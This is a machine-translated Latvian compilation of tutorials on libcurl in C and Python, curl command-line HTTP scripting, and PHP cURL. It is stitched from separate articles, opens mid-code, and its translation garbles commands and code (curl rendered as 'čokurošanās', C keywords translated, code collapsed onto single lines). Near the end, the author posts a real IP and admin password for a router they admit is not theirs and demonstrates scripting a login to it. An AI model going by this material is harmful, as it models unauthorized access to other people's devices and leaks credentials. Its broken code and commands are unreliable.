(ret == 0) printf("%s\n", wr_buf); curl_easy_cleanup(curl); atgriezties 0; )

Augšpusē ir nepieciešamie iekļautie faili, tostarp saknes cURL fails. Tālāk es definēju pāris mainīgos, kas jānodod. Pirmais, wr_buf, ir buferis, kurā tiks ierakstīta ievade. wr_index atspoguļo pašreizējā bufera ieraksta indeksu.

Pāriesim pie galvenās funkcijas, kas veic instalēšanu, izmantojot vienkāršu API. Visi cURL izsaukumi iet caur rādītāju, kas saglabā konkrēta pieprasījuma stāvokli. Tas ir definēts kā CURL rādītāja atsauce. Šajā piemērā tiek izveidots arī īpašs atgriešanas kods ar nosaukumu CURLcode . Pirms jebkuru libcurl funkciju izmantošanas ir jāizsauc curl_easy_init, lai iegūtu CURL rādītāju. Pēc tam ievērojiet vairākus funkcijas curl_easy_setopt izsaukumus. Tie ir rādītāja iestatījumi noteiktai darbībai. Šiem zvaniem tiek ievadīts rādītājs, komanda un opcija. Šajā piemērā vispirms tiek izmantots priekšraksts CURLOPT_URL, lai norādītu izgūstamo datu URL. Tam seko CURL_WRITEDATA, lai izveidotu konteksta mainīgo (mūsu gadījumā iekšējās kļūdas rakstīšanas mainīgais). Visbeidzot, CURLOPT_WRITEFUNCTION definē funkciju, kas jāizsauc, ja ir dati. API izsauks šo funkciju vienu vai vairākas reizes ar datiem, ko tā ir nolasījusi kopš sākuma signāla.

Lai sāktu pārsūtīšanu, izsauciet funkciju curl_easy_perform. Tās uzdevums ir veikt pārraidi saskaņā ar iepriekš noteiktu konfigurāciju. Kad šī funkcija tiek izsaukta, tā atgriež rezultātu tikai pēc veiksmīgas pārsūtīšanas vai kļūdas. Pēdējie galvenā elementi ir paredzēti atgriezto statusu nodošanai, lapas lasīšanas sākšanai un, visbeidzot, tīrīšanai ar funkciju curl_easy_cleanup (pēc darbības pabeigšanas).

Tagad apsveriet funkciju write_data. Šī ir atzvanīšanas funkcija, kas tiek izsaukta, kad tiek saņemti dati par konkrētu darbību. Ņemiet vērā, ka, nolasot datus no vietnes, tie tiek rakstīti jums (write_data). Atzvanīšana satur buferi (ar gataviem datiem), elementu skaitu un to lielumu (to produkts norāda kopējo datu apjomu buferī) un konteksta rādītāju. Pirmais uzdevums ir nodrošināt pietiekamu bufera ietilpību (wr_buf), lai ierakstītu datus. Pretējā gadījumā tas iestata konteksta rādītāju un atgriež nulli, norādot, ka pastāv problēma. Pretējā gadījumā tas kopē datus no cURL bufera jūsu buferī un palielina indeksu, lai norādītu uz nākamo rakstīšanas vietu. Šajā piemērā virkne tiek pārtraukta, lai vēlāk tai varētu lietot printf. Visbeidzot, tas atgriežas uz libcurl apstrādāto baitu skaitu. Tas norāda libcurl, ka dati ir pieņemti un tos var noņemt. Tas arī viss — vai tas nav vienkāršs veids, kā no Web vietas nolasīt failu atmiņā?

HTTP klients Python

Šajā sadaļā ir sniegts piemērs, kas līdzīgs C HTTP klientam, bet šoreiz rakstīts Python. Python ir noderīga objektorientēta skriptu valoda, kas ir lieliski piemērota prototipu veidošanai un komerciālai programmatūrai. Piemērā tiek pieņemts, ka jums ir zināmas zināšanas par Python, taču tas tiek izmantots ļoti maz, tāpēc nav nepieciešamas papildu zināšanas.

Vienkārša HTTP klienta kods, kas rakstīts Python, izmantojot pycurl , ir parādīts 4. sarakstā.

Saraksts 4. Python HTTP klients, izmantojot libcurl pycurl saskarni
importēt sys importēt pycurl wr_buf = "" def write_data(buf): globālais wr_buf wr_buf += buf def main(): c = pycurl.Curl() c.setopt(pycurl.URL, "http://www.exampledomain.com ") c.setopt(pycurl.WRITEFUNCTION, write_data) c.perform() c.close() main() sys.stdout.write(wr_buf)
Prototipu veidošana Python

Tas ilustrē vienu no Python valodas priekšrocībām, kad runa ir par prototipu veidošanu. Diezgan plaša funkcionalitāte tiek sasniegta ar nelielu koda daudzumu. Varat iegūt labāku veiktspēju valodā C, taču, ja jūsu mērķis ir ātri ģenerēt kodu, lai pārbaudītu ideju, labāk ir izmantot augsta līmeņa skriptu valodas, piemēram, Python.

Šis kods ir daudz vienkāršāks nekā versija C. Tas sākas ar nepieciešamo moduļu (standarta sys sistēmas moduli un pycurl moduli) importēšanu. Tālāk tiek definēts rakstīšanas buferis (wr_buf). Tāpat kā C programmā, es deklarēju funkciju write_data. Ņemiet vērā, ka šī funkcija izmanto vienu argumentu: no HTTP servera nolasīto datu buferi. Es tikko paņēmu šo buferi un pievienoju to globālajam rakstīšanas buferim. Galvenā funkcija sākas, izveidojot Curl rādītāju, pēc tam izmanto setopt metodes, lai iestatītu URL un WRITEFUNCTION rakstīšanai. Tas izsauc izpildes metodi, lai sāktu pārsūtīšanu, un aizver rādītāju. Visbeidzot, tas izsauc galveno funkciju un nodod rakstīšanas buferi stdout. Ņemiet vērā, ka šajā gadījumā konteksta kļūdas rādītājs nav nepieciešams, jo tiek izmantota Python virknes salikšana, kas nozīmē, ka nav jāizmanto statiska izmēra virkne.

Ko tālāk

Šis raksts tikai saskrāpē libcurl virsmu, ņemot vērā bibliotēkas atbalstīto protokolu un valodu lielo skaitu. Bet, cerams, tas parāda, cik viegli ir izveidot lietojumprogrammas, kas izmanto lietojumprogrammu slāņa protokolus, piemēram, HTTP. Vietnē libcurl (skatiet sadaļu ) ir liels skaits piemēru un ievērojams daudzums noderīgas dokumentācijas. Tāpēc nākamreiz, kad izstrādājat tīmekļa pārlūkprogrammu, zirnekli vai citu lietojumprogrammu, kurai nepieciešams lietojumprogrammas slāņa protokols, izmēģiniet libcurl. Tas noteikti paātrinās izstrādes procesu, un jums tas patiks.

Šajā rakstā tiek pieņemts, ka esat iepazinies ar tīklu un HTML valodas pamatiem.

Spēja rakstīt skriptus ir būtiska, lai izveidotu labu datorsistēmu. Unix sistēmu paplašināšana, izmantojot čaulas skriptus un dažādas programmas, kas izpilda automatizētas komandas, ir viens no iemesliem, kāpēc tās ir tik veiksmīgas.

Pieaugošais lietojumprogrammu skaits, kas pāriet uz tīmekli, ir novedis pie tā, ka HTTP skriptu tēma kļūst arvien pieprasītāka. Svarīgi uzdevumi šajā jomā ir automātiska informācijas iegūšana no interneta, datu nosūtīšana vai lejupielāde uz tīmekļa serveriem utt.

Curl ir komandrindas rīks, kas ļauj veikt URL manipulācijas un dažādu veidu nodošanu. Šajā rakstā galvenā uzmanība ir pievērsta vienkāršu HTTP pieprasījumu veikšanai. Tiek pieņemts, ka jūs jau zināt, kur zvanīt

# čokurošanās — palīdziet

# čokurošanās — rokasgrāmata

lai iegūtu informāciju par čokurošanos.

Curl nav rīks, kas visu izdarīs jūsu vietā. Tas veido pieprasījumus, saņem datus un nosūta datus. Jums var būt nepieciešama "līme", lai viss būtu kopā, iespējams, skriptu valoda (piemēram, bash) vai daži manuāli izsaukumi.

1. HTTP protokols

HTTP ir protokols, ko izmanto, saņemot datus no tīmekļa serveriem. Tas ir ļoti vienkāršs protokols, kas ir izveidots, izmantojot TCP/IP. Protokols arī ļauj nosūtīt informāciju uz serveri no klienta, izmantojot vairākas metodes, kā tas tiks parādīts tālāk.

HTTP ir ASCII teksta virknes, kas tiek sūtītas no klienta uz serveri, lai pieprasītu kādu darbību. Kad tiek saņemts pieprasījums, serveris klientam atbild ar vairākām pakalpojuma teksta rindiņām un pēc tam ar faktisko saturu.

Izmantojot opciju curl -v, varat redzēt, kuras komandas curl nosūta serverim, kā arī citu informatīvu tekstu. Slēdzis -v, iespējams, ir vienīgais veids, kā atkļūdot vai pat izprast mijiedarbību starp curl un tīmekļa serveri.

2. URL

URL formāts (Uniform Resource Locator — universālā resursa adrese) norāda konkrēta resursa adresi internetā. Jūs droši vien to zināt. URL piemēri ir http://curl.haxx.se vai https://yourbank.com.

3. Saņemt (GET) lapu

Vienkāršākais un visizplatītākais HTTP pieprasījums ir iegūt URL saturu. URL var attiekties uz tīmekļa lapu, attēlu vai failu. Klients nosūta GET pieprasījumu serverim un saņem pieprasīto dokumentu. Ja palaižat komandu

# čokurošanās http://curl.haxx.se

termināļa logā tiks parādīta tīmekļa lapa. Pilns HTML dokuments, kas atrodas šajā URL.

Visas HTTP atbildes satur virsrakstu kopu, kas parasti ir paslēptas. Lai tos skatītu kopā ar pašu dokumentu, izmantojiet opciju curl -i. Varat arī pieprasīt tikai galvenes, izmantojot slēdzi -I (kas piespiedīs curl veikt HEAD pieprasījumu).

4. Formas

Veidlapas ir galvenais veids, kā parādīt vietni kā HTML lapu ar laukiem, kuros lietotājs ievada datus un pēc tam noklikšķina uz pogas Labi vai Iesniegt, pēc tam dati tiek nosūtīti uz serveri. Pēc tam serveris izmanto saņemtos datus un izlemj, kā rīkoties: meklēt informāciju datu bāzē, parādīt ievadīto adresi kartē, pievienot kļūdas ziņojumu vai izmantot informāciju, lai autentificētu lietotāju. Protams, servera pusē ir kāda programma, kas pieņem jūsu datus.

4.1 IEGŪT

GET veidlapā tiek izmantota GET metode, piemēram:

Atverot šo kodu savā pārlūkprogrammā, jūs redzēsit veidlapu ar tekstlodziņu un pogu, kas saka "OK". Ja ievadāt "1905" un noklikšķiniet uz Labi, pārlūkprogramma ģenerēs jaunu URL, kam sekot. URL būs virkne, kas sastāv no iepriekšējā URL ceļa un tādas virknes kā "junk.cgi?birthyear=1905&press=OK".

Piemēram, ja veidlapa atradās vietnē www.hotmail.com/when/birth.html, tad, noklikšķinot uz pogas Labi, tiksiet novirzīts uz vietrādi URL www.hotmail.com/when/junk.cgi?birthyear= 1905&press=OK" .

Lielākā daļa meklētājprogrammu darbojas šādā veidā.

Lai curl ģenerētu GET pieprasījumu, vienkārši ievadiet to, ko jūs sagaidāt no veidlapas:

# curl "www.hotmail.com/when/junk.cgi?birthyear=1905&press=OK"

4.2 POST

Izmantojot GET metodi, visa ievadītā informācija tiek parādīta jūsu pārlūkprogrammas adreses joslā. Tas var būt labi, ja lapai ir jāpievieno grāmatzīme, taču tas ir acīmredzams trūkums, kad veidlapas laukos ievadāt slepenu informāciju vai ja laukos ievadītās informācijas apjoms ir pārāk liels (kā rezultātā tiek izveidots nelasāms URL).

HTTP protokols nodrošina POST metodi. Ar to klients nosūta datus atsevišķi no URL, un tāpēc jūs tos neredzēsit adreses joslā.

Veidlapa, kas ģenerē POST pieprasījumu, ir līdzīga iepriekšējai:

Curl var izveidot POST pieprasījumu ar tiem pašiem datiem, kā norādīts tālāk.

# curl -d "birthyear=1905&press=%20OK%20" www.hotmail.com/when/junk.cgi

Šis POST pieprasījums izmanto "Content-Type application/x-www-form-urlencoded", kas ir visplašāk izmantotais veids.

Datiem, kurus nosūtāt uz serveri, ir jābūt pareizi kodētiem, curl to nedarīs jūsu vietā. Piemēram, ja vēlaties, lai datos būtu atstarpe, šī atstarpe ir jāaizstāj ar %20 un tā tālāk. Uzmanības trūkums šim jautājumam ir izplatīta kļūda, kuras dēļ dati netiek pārsūtīti, kā vajadzētu.

1995. gadā tika definēts papildu veids, kā pārsūtīt datus, izmantojot HTTP. Tas ir dokumentēts RFC 1867, tāpēc to dažreiz dēvē par RFC1867 publicēšanu.

Šī metode galvenokārt ir paredzēta, lai labāk atbalstītu failu augšupielādi. Veidlapa, kas ļauj lietotājam augšupielādēt failu, HTML formātā izskatās šādi:

Ņemiet vērā, ka satura veids ir iestatīts uz vairāku daļu/formas dati.

Lai nosūtītu datus uz šādu formu, izmantojot curl, ievadiet komandu:

# čokurošanās -F [aizsargāts ar e-pastu]-Fpress=Labi

4.4. Slēptie lauki

Izplatīts veids, kā paziņot informāciju par stāvokli HTML lietojumprogrammās, ir slēpto lauku izmantošana veidlapās. Slēptie lauki netiek aizpildīti, tie ir lietotājam neredzami un tiek nodoti tāpat kā parastie lauki.

Vienkāršs piemērs veidlapai ar vienu redzamu lauku, vienu slēptu lauku un pogu Labi:

Lai nosūtītu POST pieprasījumu ar curl, jums nav jādomā par to, vai lauks ir paslēpts vai nē. Cirtām tie visi ir vienādi:

# curl -d "dzimšanas gads=1905&press=OK&person=daniel"

4.5. Uzziniet, kā izskatās POST pieprasījums

Ja vēlaties aizpildīt veidlapu un nosūtīt datus uz serveri, izmantojot curl, iespējams, vēlaties, lai POST pieprasījums izskatītos tieši tāpat kā tas, kas veikts, izmantojot pārlūkprogrammu.

Vienkāršs veids, kā skatīt savu POST pieprasījumu, ir saglabāt veidlapas HTML lapu diskā, mainīt metodi uz GET un noklikšķināt uz pogas Iesniegt (varat arī mainīt URL, uz kuru tiks iesniegti dati).

Jūs redzēsit, ka dati ir pievienoti vietrādim URL, atdalīti ar "?" rakstzīmēm, kā paredzēts, izmantojot GET veidlapas.

5. LIET

Iespējams, labākais veids, kā augšupielādēt datus HTTP serverī, ir izmantot PUT. Atkal, tam ir nepieciešama programma (skripts) aizmugurē, kas zina, kas jādara un kā pieņemt HTTP PUT straumi.

Nosūtiet failu uz serveri, izmantojot curl:

# curl -T augšupielādes fails www.uploadhttp.com/receive.cgi

6. Autentifikācija

Autentifikācija - lietotājvārda un paroles nodošana serverim, pēc kuras tas pārbauda, ​​vai jums ir tiesības izpildīt pieprasīto pieprasījumu. Pamata autentifikācija (ko curl izmanto pēc noklusējuma) ir balstīta uz skaidru tekstu, kas nozīmē, ka lietotājvārds un parole netiks šifrēti, bet tikai nedaudz "apslēpti" ar Base64 algoritmu, ļaujot uzbrucējiem uzzināt šo informāciju ceļā. starp jums un HTTP serveri.

Pastāstiet curl lietot lietotājvārdu un paroli:

# curl -u name:password www.secrets.com

Vietnei var būt nepieciešama cita autentifikācijas metode (skatiet, ko serveris raksta galvenēs). Šādos gadījumos varat izmantot taustiņus --ntlm, --digest, --negotiate vai pat --anyauth. Dažreiz piekļuve ārējiem HTTP serveriem notiek, izmantojot starpniekserveri, kā tas bieži tiek darīts uzņēmumos un firmās. HTTP starpniekserverim var būt nepieciešams savs lietotājvārds un parole, lai piekļūtu internetam. Attiecīgā čokurošanās atslēga:

# curl -U proxyuser:proxypassword curl.haxx.se

Ja starpniekserveram nepieciešama NTLM autentifikācija, norādiet --proxy-ntlm, ja Digest metodi, tad --proxy-digest.

Ja opcijās -u un -U nenorādīsit paroli, curl to lūgs interaktīvi.

Ņemiet vērā: kad darbojas curl, izpildes virkne (un līdz ar to arī atslēgas un paroles) uzdevumu sarakstā var būt redzama citiem jūsu sistēmas lietotājiem. Ir veidi, kā to novērst. Vairāk par to zemāk.

7. Referents

HTTP pieprasījumā var būt ietverts lauks "atsaucējs", kas norāda URL, no kura lietotājs nokļuva šajā resursā. Dažas programmas/skripti pārbauda lauku "referer" un neizpilda pieprasījumu, ja lietotājs ir no nezināmas lapas. Lai gan tas ir muļķīgs pārbaudes veids, daudzi skripti to tomēr izmanto. Izmantojot curl, jūs varat ievietot jebko laukā "referer" un tādējādi piespiest to darīt to, ko vēlaties.

Tas tiek darīts šādā veidā:

# curl -e http://curl.haxx.se daniel.haxx.se

8. Lietotāja aģents

Visi HTTP pieprasījumi atbalsta lauku "User-Agent", kas norāda lietotāja klienta lietojumprogrammu. Daudzas tīmekļa lietojumprogrammas izmanto šo informāciju, lai vienā vai otrā veidā parādītu lapu. Tīmekļa programmētāji veido vairākas lapas versijas dažādu pārlūkprogrammu lietotājiem, lai uzlabotu izskatu, izmanto dažādus javascript, vbscript utt. skriptus.

Dažreiz jūs varat atklāt, ka loks atgriež lapu, kas nav tā, ko redzējāt savā pārlūkprogrammā. Šajā gadījumā ir lietderīgi izmantot lauku "Lietotāja aģents", lai vēlreiz maldinātu serveri.

Maskējiet čokurošanos kā Internet Explorer operētājsistēmā Windows 2000:

# curl -A "Mozilla/4.0 (saderīgs; MSIE 5.01; Windows NT 5.0)"

Kāpēc gan nekļūt par Netscape 4.73 Linux datorā (PIII):

# curl -A "Mozilla/4.73 (X11; U; Linux 2.2.15 i686)"

9. Novirzīšana

Atbildot uz jūsu pieprasījumu, serveris, nevis pati lapa, var atgriezt norādi par to, kur pārlūkprogrammai vajadzētu doties tālāk, lai nokļūtu vajadzīgajā lapā. Galvene, kas norāda pārlūkprogrammai šo novirzīšanu, ir "Atrašanās vieta:".

Pēc noklusējuma curl nenonāk uz "Atrašanās vieta:" norādīto adresi, bet vienkārši parāda lapu kā parasti. Bet jūs varat nosūtīt to šādi:

# curl -L www.sitethatredirects.com

Ja izmantojat curl to POST pieprasījumus vietnei, kas nekavējoties novirza uz citu lapu, varat droši izmantot -L un -d/-F. Curl veiks POST pieprasījumu pirmajai lapai un pēc tam GET pieprasījumu nākamajai lapai.

10. Cepumi

Sīkfaili ļauj tīmekļa pārlūkprogrammām kontrolēt stāvokli klienta pusē. Sīkdatne ir nosaukums ar pievienotu saturu. Serveris, nosūtot sīkfailus, pasaka klientam ceļu un resursdatora nosaukumu, uz kuru nākamreiz jānosūta sīkfaili, norāda sīkfailu kalpošanas laiku un dažus citus parametrus.

Kad klients izveido savienojumu ar serveri saņemtajā sīkfailā norādītajā adresē, klients nosūta šo sīkfailu serverim (ja derīguma termiņš nav beidzies).

Daudzas lietojumprogrammas un serveri izmanto šo metodi, lai apvienotu vairākus pieprasījumus vienā loģiskā sesijā. Lai curl veiktu arī šo funkciju, mums ir jāspēj saglabāt un nosūtīt sīkfailus, tāpat kā to dara pārlūkprogrammas.

Vienkāršākais veids, kā nosūtīt sīkfailu serverim, ienesot lapu ar saritināto lapu, ir komandrindā pievienot atbilstošo opciju:

# curl -b "name=Daniel" www.cookiesite.com

Sīkfaili tiek nosūtīti kā parastas HTTP galvenes. Tas ļauj curl saglabāt sīkfailus, saglabājot galvenes. Sīkfailu saglabāšana ar čokurošanos tiek veikta ar komandu:

# curl -D headers_and_cookies www.cookiesite.com

(starp citu, sīkfailu saglabāšanai labāk izmantot slēdzi -c, vairāk par to tālāk).

curl ir pilnībā aprīkots sīkfailu apstrādātājs, kas ir noderīgs, ja vēlaties vēlreiz izveidot savienojumu ar serveri un izmantot sīkfailus, ko saglabājāt pagājušajā reizē (vai ar rokām izstrādātos). Lai izmantotu failā saglabātos sīkfailus, izsauciet curl šādi:

# curl -b stored_cookies_in_file www.cookiesite.com

Kad norādāt slēdzi -b, tiek iespējota saritināšanas sīkfailu programma. Ja vēlaties, lai curl pieņemtu tikai sīkfailus, izmantojiet -b failam, kas neeksistē. Piemēram, ja vēlaties, lai curl pieņemtu sīkfailus no lapas un pēc tam sekotu novirzīšanai (iespējams, atdotu tikko pieņemto sīkfailu), varat izsaukt curl šādi:

# curl -b nada -L www.cookiesite.com

Curl var lasīt un rakstīt sīkfailus Netscape un Mozilla formātā. Tas ir ērts veids, kā apmainīties ar sīkfailiem starp pārlūkprogrammām un automātiskajiem skriptiem. Slēdzis -b automātiski nosaka, vai konkrētais sīkfails ir norādīto pārlūkprogrammu sīkfails, un attiecīgi apstrādā to, un, izmantojot slēdzi -c/--cookie-jar, varat piespiest curl rakstīt jaunu sīkfailu, kad darbība ir pabeigta:

# curl -b cookies.txt -c newcookies.txt www.cookiesite.com

11. HTTPS

Ir vairāki veidi, kā nodrošināt HTTP pārraides. Vispazīstamākais protokols, kas risina šo problēmu, ir HTTPS jeb HTTP, izmantojot SSL. SSL šifrē visus tīklā nosūtītos un saņemtos datus, kas palielina iespējamību, ka jūsu informācija paliks slepena.

Curl atbalsta pieprasījumus HTTPS serveriem, pateicoties bezmaksas OpenSSL bibliotēkai. Pieprasījumi tiek iesniegti parastajā veidā:

# curl https://that.secure.server.com

11.1 Sertifikāti

HTTPS pasaulē autentifikācijai papildus lietotājvārdam un parolei izmantojat sertifikātus. Curl atbalsta sertifikātus klienta pusē. Visi sertifikāti ir bloķēti ar ieejas frāzi, kas jums jāievada, lai curl varētu sākt ar tiem strādāt. Ieejas frāzi var norādīt komandrindā vai ievadīt interaktīvi. Sertifikāti lokā tiek izmantoti šādi:

# curl -E mycert.pem https://that.secure.server.com

Curl arī autentificē serveri, pārbaudot servera sertifikātu pret lokāli saglabātu sertifikātu. Neatbilstība izraisīs čokurošanās atteikšanos izveidot savienojumu. Lai ignorētu autentifikāciju, izmantojiet slēdzi -k.

Plašāku informāciju par sertifikātiem var atrast vietnē http://curl.haxx.se/docs/sslcerts.html.

12. Patvaļīgi pieprasījumu galvenes

Iespējams, jums būs jāmaina vai jāpievieno atsevišķu čokurošanās pieprasījumu elementi.

Piemēram, varat mainīt POST pieprasījumu uz PROPFIND un nosūtīt datus kā "Content-Type: text/xml" (parastā satura veida vietā):

# curl -d " " -H "Satura veids: teksts/xml" -X PROPFIND url.com

Varat noņemt jebkuru galveni, norādot to bez satura. Piemēram, varat noņemt galveni "Host:", tādējādi padarot pieprasījumu "tukšu":

# curl -H "Host:" http://mysite.com

Varat arī pievienot galvenes. Jūsu serverim var būt nepieciešama galvene "Galamērķis:":

# curl -H "Galamērķis: http://moo.com/nowhere" http://url.com

13. Atkļūdošana

Bieži gadās, ka vietne uz čokurošanās pieprasījumiem reaģē savādāk nekā pārlūkprogrammas pieprasījumi. Šajā gadījumā jums ir pēc iespējas vairāk jāpielīdzina čokurošanās pārlūkprogrammai:

  • Izmantojiet slēdzi --trace-ascii, lai saglabātu detalizētu pieprasījumu pārskatu, lai varētu tos detalizēti pārbaudīt un izprast problēmu.
  • Noteikti pārbaudiet sīkfailus un izmantojiet tos, kad nepieciešams (izlasiet slēdzi -b un saglabājiet -c slēdzi)
  • Laukā "user-agent" norādiet vienu no jaunākajām populārajām pārlūkprogrammām
  • Aizpildiet lauku “atsaucējs”, kā to dara pārlūkprogramma
  • Ja izmantojat POST pieprasījumus, pārliecinieties, vai visi lauki tiek nodoti tādā pašā secībā kā pārlūkprogrammā (skatiet iepriekš, 4.5. punkts).

Labs palīgs šajā sarežģītajā uzdevumā ir spraudnis Mozilla/Firefox LiveHTTPHeader, kas ļauj apskatīt visas galvenes, ko šī pārlūkprogramma sūta un saņem (pat izmantojot HTTPS).

Zemāka līmeņa pieeja ir tvert HTTP trafiku tīklā, izmantojot tādas programmas kā ethereal vai tcpdump, un pēc tam analizēt, kādas galvenes ir saņēmis un nosūtījis pārlūkprogramma (HTTPS padara šo pieeju neefektīvu).

RFC 2616 ir jāizlasa ikvienam, kurš vēlas izprast HTTP protokolu.

RFC 2396 izskaidro URL sintaksi.

RFC 2109 nosaka sīkfailu darbību.

RFC 1867 nosaka faila augšupielādes ziņas formātu.

http://openssl.planetmirror.com - OpenSSL projekta mājas lapa

http://curl.haxx.se - cURL projekta mājas lapa

Kam paredzēts cURL?

  • cURL ir lieliski piemērots, lai modelētu lietotāja darbības pārlūkprogrammā.

Reāls praktisks piemērs: lai mainītu IP adresi, ir jāpārstartē maršrutētājs (modems). Lai to izdarītu, jums: jāpiesakās maršrutētājā, jāiet uz apkopes lapu un jānoklikšķina uz pogas "Reboot". Ja šī darbība ir jāveic vairākas reizes, tad procedūra ir jāatkārto. Piekrītu, jūs nevēlaties katru reizi veikt šo darbību manuāli. cURL ļauj to visu automatizēt. Izmantojot tikai dažas cURL komandas, varat iegūt autorizāciju un pabeigt uzdevumu maršrutētājā.

  • cURL ir ērts, lai komandrindā iegūtu datus no vietnēm.

Vēl viens praktisks piemērs: mēs vēlamies ieviest vispārīgas statistikas attēlošanu vairākām vietnēm. Ja izmantojat cURL, tas kļūst par pilnīgi triviālu uzdevumu: izmantojot cURL, mēs autentificējamies statistikas vākšanas pakalpojumā (ja nepieciešams), pēc tam (atkal, izmantojot cURL komandas) iegūstam vajadzīgās lapas, parsējam nepieciešamos datus; procedūra tiek atkārtota visās mūsu vietnēs, pēc tam mēs saskaitām un parādām gala rezultātu.

Tie. cURL lietošanas gadījumi ir diezgan reāli, lai gan vairumā gadījumu programmētājiem, kuri to izmanto savām programmām, ir nepieciešams cURL.

cURL atbalsta daudzus protokolus un autorizācijas metodes, var pārsūtīt failus, pareizi darbojas ar sīkfailiem, atbalsta SSL sertifikātus, starpniekserverus un daudz ko citu.

cURL PHP un komandrindā

Mēs varam izmantot cURL divos galvenajos veidos: PHP skriptos un komandrindā.

Lai serverī iespējotu cURL, php.ini failā ir jāatmet rindiņa

Extension=php_curl.dll

Un pēc tam restartējiet serveri.

Operētājsistēmā Linux ir jāinstalē curl pakotne.

Debian, Ubuntu vai Linux Mint:

$ sudo apt-get install curl

Fedora, CentOS vai RHEL:

$ sudo yum instalēt curl

Lai skaidri redzētu atšķirību lietošanā PHP un komandrindā, mēs veiksim vienus un tos pašus uzdevumus divreiz: vispirms PHP skriptā un pēc tam komandrindā. Centīsimies neapjukt.

Datu iegūšana, izmantojot cURL

Datu iegūšana ar cURL PHP

PHP piemērs:

Viss ir ļoti vienkārši:

$target_url- mūs interesējošās vietnes adrese. Pēc vietnes adreses varat ievietot kolu un pievienot porta adresi (ja ports atšķiras no standarta).

curl_init- inicializē jaunu sesiju un atgriež rokturi, kas mūsu piemērā ir piešķirts mainīgajam $ch.

Pēc tam mēs izpildām cURL pieprasījumu ar funkciju curl_exec, kam kā parametrs tiek nodots deskriptors.

Viss ir ļoti loģiski, bet, kad šis skripts tiks izpildīts, mūsu lapā tiks parādīts vietnes saturs. Bet ko darīt, ja mēs nevēlamies parādīt saturu, bet vēlamies to ierakstīt mainīgajā (turpmākai apstrādei vai parsēšanai).

Papildināsim mūsu skriptu nedaudz:

0) ( echo "curl error: " . curl_error($ch); ) curl_close($ch); ?>

Mums ir rinda curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.

curl_setopt- iestata opcijas. Pilns opciju saraksts ir atrodams šajā lapā: http://php.net/manual/en/function.curl-setopt.php

$response_data = curl_exec($ch);

Tagad skripta vērtība tiek piešķirta mainīgajam $response_data, ko var izmantot turpmākām darbībām. Piemēram, varat parādīt tā saturu.

If (curl_errno($ch) > 0) ( echo "curl error: " . curl_error($ch); )

tiek izmantoti atkļūdošanai kļūdu gadījumā.

Datu iegūšana ar cURL komandrindā

Komandrindā vienkārši ierakstiet

Curl mi-al.ru

kur vietā mi-al.ru- jūsu vietnes adrese.

Ja jums ir jākopē dati uz mainīgo, nevis jāparāda rezultāts ekrānā, rīkojieties šādi:

Temp=`curl mi-al.ru`

Tomēr daži dati joprojām tiek parādīti:

Lai tie netiktu parādīti, pievienojiet atslēgu -s:

Temp=`curl -s mi-al.ru`

Varat redzēt, kas ir ierakstīts:

atbalss $temp | mazāk

Pamata un HTTP autentifikācija

Vienkārši sakot, autentifikācija ir lietotājvārda un paroles ievadīšana.

Pamata autentifikācija ir servera autentifikācija. Šim nolūkam tiek izveidoti divi faili: .htaccess un .htpasswd

.htaccess faila saturs ir aptuveni šāds

AuthName "Tikai reģistrētiem lietotājiem!" AuthType Basic nepieciešams derīgs lietotājs AuthUserFile /home/freeforum.biz/htdocs/.htpassw

Faila .htpasswd saturs ir aptuveni šāds:

Mial:CRdiI.ZrZQRRc

Tie. pieteikšanās un paroles jaucējvārds.

Mēģinot piekļūt ar paroli aizsargātai mapei, pārlūkprogramma parādīs kaut ko līdzīgu:

HTTP autentifikācija ir gadījums, kad mēs ievadām lietotājvārdu un paroli vietnes veidlapā. Šī autentifikācija tiek izmantota, ievadot pastu, forumus utt.

cURL pamata autentifikācija (PHP)

Ir vietne http://62.113.208.29/Update_FED_DAYS/, kurā mums ir jāpiesakās:

Izmēģināsim savu sākotnējo skriptu:

0) ( echo "curl error: " . curl_error($ch); ) else ( echo $response_data; ) curl_close($ch); ?>

Lai gan skripts uzskata, ka kļūdu nav, izvades rezultāts mums vispār nepatīk:

Mēs pievienojam divas rindas:

curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board");

Pirmajā rindā mēs iestatām autentifikācijas veidu - pamata. Otrajā rindā ir vārds un parole, kas atdalīta ar kolu (mūsu gadījumā vārds un parole ir vienādi - ru-board). Tas izrādījās šādi:

0) ( echo "curl error: " . curl_error($ch); ) else ( echo $response_data; ) curl_close($ch); ?>

Pamata cURL autentifikācija (komandrindā)

To pašu var panākt komandrindā ar vienu rindiņu:

Curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/

Es neaizmirsu norādīt autentifikācijas veidu, vienkārši cURL pamata autentifikācijas veids ir noklusējuma veids.

Komandrindā viss izrādījās tik ātri, ka aiz neapmierinātības es uzrakstīju šo programmu. Viņa izveido savienojumu ar vietni un lejupielādē jaunāko atjauninājumu:

Temp=`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o "Atjaunināt_FED_201(1).(2).(2).7z" | unikāls | aste -n 1`; curl -o $temp -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/$temp

Var pievienot vēl tikai dažas komandas:

  • arhīva izpakošana norādītajā direktorijā;
  • ConsultantPlus atjauninājumu palaišana (tie ir atjauninājumi viņam);
  • varat veikt pārbaudi - vai pēdējais pieejamais atjauninājums jau ir lejupielādēts vai ir parādījies jauns;
  • pievienojiet to visu Cron, lai saņemtu ikdienas atjauninājumus.

cURL HTTP autentifikācija

cURL HTTP autentifikācija PHP

Mums ir jāzina:

  • adrese, kur nosūtīt datus autentifikācijai
  • sūtīšanas metode GET vai POST
  • Pieslēgties
  • parole

Dažreiz ar šiem datiem nepietiek. Izdomāsim.

Adresi, uz kuru vēlaties nosūtīt datus, var ņemt no autentifikācijas formas. Piemēram:

Apskatām īpašumu darbība. Tie. beigu lapa ir login.php. Mums ir nepieciešama pilna adrese, piemēram, http://188.35.8.64:8080/login.php

Šeit mēs atrodam arī nosūtīšanas metodi: metode = "post"

Es zinu arī pieteikumvārdu un paroli: admin un qwerasdfzxcv

Katram gadījumam šis nav mans maršrutētājs (un es nezinu, kurš), tāpēc, ja vēlaties mani kaitināt, jums nav jājaucas ar šo maršrutētāju.

Tie. virkne tiek nodota serverim no formas, izmantojot POST metodi. Teorētiski vajadzētu darboties mūsu iepriekšējam skriptam, kurā mēs pievienojām jaunu rindiņu. Tie. autentifikācijai ir jānotiek.

